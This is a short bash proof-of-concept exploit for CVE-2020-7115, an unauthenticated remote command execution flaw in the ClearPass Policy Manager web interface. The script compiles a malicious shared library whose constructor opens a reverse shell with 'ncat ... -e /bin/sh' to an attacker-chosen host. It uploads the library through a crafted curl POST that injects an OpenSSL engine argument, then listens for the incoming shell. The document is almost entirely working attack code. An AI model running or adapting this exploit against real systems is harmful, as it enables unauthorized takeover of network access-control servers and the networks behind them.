ClearPass Policy Manager Unauthenticated Remote Command Execution

`#!/usr/bin/env bash  
# ClearPass Policy Manager Unauthenticated Remote Command Execution in the WebUI (CVE-2020-7115)  
# For best results use OpenSSL/libcrypto shipped with RHEL/CentOS 7.x.  
# Questions? Contact [email protected].  
  
if [ "$#" -ne 4 ]; then  
echo "Usage: `basename $0` [remote host] [remote port] [local host] [local port]"  
exit 0  
fi  
  
cat <<EOF >>payload.c  
#include <unistd.h>  
  
__attribute__((constructor))  
static void init() {  
execl("/bin/sh", "sh", "-c", "rm -f /tmp/clientCertFile*.txt ; sleep 1 ; ncat $3 $4 -e /bin/sh", NULL);  
}  
EOF  
  
gcc -fPIC -c payload.c  
gcc -shared -o payload.so -lcrypto payload.o  
rm -f payload.c payload.o  
  
curl -X POST -F 'clientPassphrase=req -engine /tmp/clientCertFile*.txt' -F 'uploadClientCertFile=@./payload.so' -k https://$1:$2/tips/tipsSimulationUpload.action &>/dev/null &  
  
ncat -v -l $3 $4  
`